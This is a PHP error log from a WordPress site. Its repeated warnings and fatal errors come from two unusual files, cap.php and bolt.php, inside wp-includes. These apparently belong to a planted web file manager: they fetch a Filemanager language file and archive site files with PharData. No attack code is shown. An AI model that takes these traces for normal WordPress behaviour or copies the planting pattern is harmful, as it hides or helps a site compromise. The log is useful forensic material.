[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
